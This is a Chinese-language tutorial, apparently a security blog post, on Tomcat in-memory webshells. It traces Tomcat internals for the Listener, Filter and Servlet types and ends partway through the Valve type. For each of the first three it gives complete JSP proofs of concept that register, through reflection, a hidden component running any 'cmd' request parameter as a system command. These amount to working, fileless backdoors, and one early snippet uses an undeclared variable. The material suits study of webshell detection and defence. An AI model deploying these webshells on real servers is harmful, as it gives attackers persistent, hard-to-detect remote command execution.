深入(鸡肋马)内存马 Tomcat内存马 Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这不正是Java Web核心的三大组件嘛!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖
1 2 3 4 5 <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0 .55 </version> </dependency>
Listener型 我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种
ServletContextListener
HttpSessionListener
ServletRequestListener
很明显,ServletRequestListener
是最适合用来作为内存马的。因为ServletRequestListener
是用来监听ServletRequest
对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法。下面我们来实现一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpServletRequest;import java.io.IOException; @WebListener public class Shell_Listener implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
访问任意路由都可执行命令
下面的问题就是如何将恶意的Listener动态注册进服务器了,下面我们来分析一下Listener的创建过程。
Listener的创建过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 requestInitialized:13 , Shell_Listener (Listener) fireRequestInitEvent:5992 , StandardContext (org.apache.catalina.core) invoke:121 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:687 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:357 , CoyoteAdapter (org.apache.catalina.connector) service:382 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:895 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
StandardContext#fireRequestInitEvent
调用了我们的Listener,我们跟进看其实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean fireRequestInitEvent (ServletRequest request) { Object instances[] = getApplicationEventListeners(); if ((instances != null ) && (instances.length > 0 )) { ServletRequestEvent event = new ServletRequestEvent (getServletContext(), request); for (Object instance : instances) { if (instance == null ) { continue ; } if (!(instance instanceof ServletRequestListener)) { continue ; } ServletRequestListener listener = (ServletRequestListener) instance; try { listener.requestInitialized(event); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.requestListener.requestInit" , instance.getClass().getName()), t); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t); return false ; } } } return true ; }
关键代码有两处,首先通过getApplicationEventListeners()
获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)
方法触发Listener。跟进getApplicationEventListeners()
方法
1 2 3 public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
可以看到Listener实际上是存储在*applicationEventListenersList
*属性中的
并且我们可以通过StandardContext#addApplicationEventListener()
方法来添加Listener
1 2 3 public void addApplicationEventListener (Object listener) { applicationEventListenersList.add(listener); }
获取StandardContext类 下面的工作就是获取StandardContext
类了,在StandardHostValve#invoke
中,可以看到其通过request对象来获取StandardContext
类
同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
还有另一种获取方式如下
1 2 3 4 5 <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
接着我们编写一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %>
最后添加监听器
1 2 3 4 <% Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
完整POC 至此我们可以总结出Listener型内存马的实现步骤
获取StandardContext上下文
实现一个恶意Listener
通过StandardContext#addApplicationEventListener方法添加恶意Listener
完整POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
访问Listener.jsp
此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发
Filter型 仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马。我们知道,在Servlet容器中,Filter的调用是通过FilterChain实现的
同样地,我们先来实现一个恶意的Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException; @WebFilter("/*") public class Shell_Filter implements Filter { @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
Filter调用分析 我们在doFilter处打上断点,调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 doFilter:11 , Shell_Filter (Filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) invoke:197 , StandardWrapperValve (org.apache.catalina.core) invoke:97 , StandardContextValve (org.apache.catalina.core) invoke:540 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:135 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:687 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:357 , CoyoteAdapter (org.apache.catalina.connector) service:382 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:895 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
跟进ApplicationFilterChain#internalDoFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false" .equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object []{req, res, this }; SecurityUtil.doAsPrivilege ("doFilter" , filter, classType, args, principal); } else { filter.doFilter(request, response, this ); } } ... }
调用了filter.doFilter()
,而filter
是通过filterConfig.getFilter()
得到的,filterConfig
定义如下
1 2 3 4 private ApplicationFilterConfig[] filters = new ApplicationFilterConfig [0 ]; ...ApplicationFilterConfig filterConfig = filters[pos++]
我们知道,一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的*filters
属性是一个ApplicationFilterConfig数组。我们来寻找一下 ApplicationFilterChain.filters
*属性在哪里被赋值。
在StandardWrapperValve#invoke()
方法中,通过ApplicationFilterFactory.createFilterChain()
方法初始化了一个ApplicationFilterChain
类
我们跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { ... filterChain = new ApplicationFilterChain (); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ... filterChain.addFilter(filterConfig); } ... return filterChain; }
这里我省略了函数中一些不重要的判断,从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程
首先通过filterChain = new ApplicationFilterChain()
创建一个空的filterChain对象
然后通过wrapper.getParent()
函数来获取StandardContext
对象
接着获取StandardContext
中的FilterMaps
对象,FilterMaps
对象中存储的是各Filter的名称路径等信息
最后根据Filter的名称,在StandardContext
中获取FilterConfig
通过filterChain.addFilter(filterConfig)
将一个filterConfig
添加到filterChain
中
FilterMaps对象
可以看到在ApplicationFilterChain#addFilter
方法,filterConfig被添加到filters中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void addFilter (ApplicationFilterConfig filterConfig) { for (ApplicationFilterConfig filter:filters) { if (filter==filterConfig) { return ; } } if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig [n + INCREMENT]; System.arraycopy(filters, 0 , newFilters, 0 , n); filters = newFilters; } filters[n++] = filterConfig; }
所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。
FilterConfig、FilterDef和FilterMaps 跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext
实际上是包含了这三者的
filterConfigs 其中filterConfigs包含了当前的上下文信息StandardContext
、以及filterDef
等信息
filterConfigs
其中filterDef
存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>
标签。
filterDef
1 2 3 4 <filter> <filter-name></filter-name> <filter-class></filter-class> </filter>
可以看到,filterDef必要的属性为filter
、filterClass
以及filterName
。
filterDefs 1 filterDefs`是一个HashMap,以键值对的形式存储`filterDef
filterDefs
filterMaps filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签
filterMaps
1 2 3 4 <filter-mapping> <filter-name></filter-name> <url-pattern></url-pattern> </filter-mapping>
filterMaps必要的属性为dispatcherMapping
、filterName
、urlPatterns
于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。
动态注册Filter 经过上面的分析,我们可以总结出动态添加恶意Filter的思路
获取StandardContext对象
创建恶意Filter
使用FilterDef对Filter进行封装,并添加必要的属性
创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象 StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
1 2 3 4 5 6 7 8 9 10 11 12 ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true );ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true );StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意Filter 1 2 3 4 5 6 7 8 9 10 11 12 13 public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd=request.getParameter("cmd" ); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } }
使用FilterDef封装filter 1 2 3 4 5 6 7 String name = "CommonFilter" ;FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
创建filterMap filterMap用于filter和路径的绑定
1 2 3 4 5 FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs 1 2 3 4 5 6 7 8 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true );Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true );ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.util.Map" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %> <%! public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %> <% Shell_Filter filter = new Shell_Filter (); String name = "CommonFilter" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); %>
先访问jsp木马
此时已经动态注册了我们的恶意Filter,访问任意路由即可执行命令
Servlet型 同样地,我们先实现一个恶意的Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import javax.servlet.*;import javax.servlet.annotation.WebServlet;import java.io.IOException; @WebServlet("/shell") public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }
下面就是实现动态注册Servlet了。
Servlet创建流程 我们知道Servlet的生命周期分为如下五部分
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()
方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()
方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()
方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作
前文 我们已经分析过,在org.apache.catalina.core.StandardContext
类的startInternal()
方法中,我们能看到**Listener->Filter->Servlet**
的加载顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 ... if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } try { Manager manager = getManager(); if (manager instanceof Lifecycle) { ((Lifecycle) manager).start(); } } catch (Exception e) { log.error(sm.getString("standardContext.managerFail" ), e); ok = false ; } if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } super .threadStart(); }if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } try { Manager manager = getManager(); if (manager instanceof Lifecycle) { ((Lifecycle) manager).start(); } } catch (Exception e) { log.error(sm.getString("standardContext.managerFail" ), e); ok = false ; } if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } super .threadStart(); } ...
创建StandardWrapper 在StandardContext
#startInternal
中,调用了fireLifecycleEvent()
方法解析web.xml文件,我们跟进
1 2 3 4 5 6 protected void fireLifecycleEvent(String type , Object data ) { LifecycleEvent event = new LifecycleEvent(this , type , data ) ; for (LifecycleListener listener : lifecycleListeners) { listener.lifecycleEvent(event ) ; } }
最终通过ContextConfig#webConfig()
方法解析web.xml获取各种配置参数
然后通过configureContext(webXml)
方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void configureContext (WebXml webxml) { context.setPublicId(webxml.getPublicId()); ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... }
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射
加载StandWrapper 接着在StandardContext#startInternal
方法通过findChildren()
获取StandardWrapper
类
最后依次加载完Listener、Filter后,就通过loadOnStartUp()
方法加载wrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); }
注意这里对于Wrapper对象中loadOnStartup
属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()
加载调用。
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup
属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
至此Servlet才被加载到内存中。
动态注册Servlet 通过上文的分析我们能够总结出创建Servlet的流程
获取StandardContext
对象
编写恶意Servlet
通过StandardContext.createWrapper()
创建StandardWrapper
对象
设置StandardWrapper
对象的loadOnStartup
属性值
设置StandardWrapper
对象的ServletName
属性值
设置StandardWrapper
对象的ServletClass
属性值
将StandardWrapper
对象添加进StandardContext
对象的children
属性中
通过StandardContext.addServletMappingDecoded()
添加对应的路径映射
获取StandardContext对象 StandardContext对象获取方式多种多样
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
或
1 2 3 4 5 6 7 8 9 <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
编写恶意Servlet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %>
创建Wrapper对象 1 2 3 4 5 6 7 8 9 10 <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %>
将Wrapper添加进StandardContext 1 2 3 4 <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
访问Servlet.jsp动态注册Servlet
访问对应路径的Servlet命令执行
Servlet型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。
Valve型 什么是valve? 在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制
。
我们知道,当Tomcat接收到客户端请求时,首先会使用Connector
进行解析,然后发送到Container
进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
管道机制流程分析 我们先来看看Pipeline接口,继承了Contained接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Pipeline extends Contained { public Valve getBasic () ; public void setBasic (Valve valve) ; public void addValve (Valve valve) ; public Valve[] getValves(); public void removeValve (Valve valve) ; public void findNonAsyncValves (Set<String> result) ; }
Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()
方法来添加一个Valve。下面我们再来看看Valve接口
1 2 3 4 5 6 7 8 9 10 11 12 13 public interface Valve { public Valve getNext () ; public void setNext (Valve valve) ; public void backgroundProcess () ; public void invoke (Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported () ; }
其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。
同时Valve可以通过重写invoke()
方法来实现具体的业务逻辑
1 2 3 4 5 6 7 8 class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { ... } } }
下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service
方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public void service (org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception { Request request = (Request) req.getNote(ADAPTER_NOTES); Response response = (Response) res.getNote(ADAPTER_NOTES); if (request == null ) { request = connector.createRequest(); request.setCoyoteRequest(req); response = connector.createResponse(); response.setCoyoteResponse(res); request.setResponse(response); response.setRequest(request); req.setNote(ADAPTER_NOTES, request); res.setNote(ADAPTER_NOTES, response); req.getParameters().setQueryStringCharset(connector.getURICharset()); } ... try { ... connector.getService().getContainer().getPipeline().getFirst().invoke( request, response); } ... }
前面是对Request和Respone对象进行一些判断及创建操作,我们重点来看一下connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
首先通过connector.getService()
来获取一个StandardService对象
接着通过StandardService
.getContainer().getPipeline()
获取StandardPipeline
对象。
再通过StandardPipeline.getFirst()
获取第一个Valve
